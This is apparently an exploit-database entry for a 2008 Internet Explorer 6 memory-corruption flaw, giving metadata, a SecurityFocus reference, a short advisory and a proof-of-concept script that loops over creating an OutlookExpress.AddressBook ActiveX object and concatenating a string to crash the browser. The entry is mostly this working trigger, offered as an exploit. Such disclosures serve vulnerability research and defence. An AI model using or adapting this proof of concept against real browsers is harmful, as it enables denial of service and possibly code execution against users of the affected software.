Microsoft Internet Explorer 6 - New ActiveX Object String Concatenation Memory Corruption

Author: 0x000000
type: remote
platform: windows
port: 
date_added: 2008-07-14 
date_updated: 2014-03-04 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/30219/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Remote attackers can exploit this issue to crash the affected application, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

<script>

for(i=0;i<33;i++){

   try{

   foo = new ActiveXObject("OutlookExpress.AddressBook").concat('3'+'3'+'3');

   }catch(e){}

}

</script>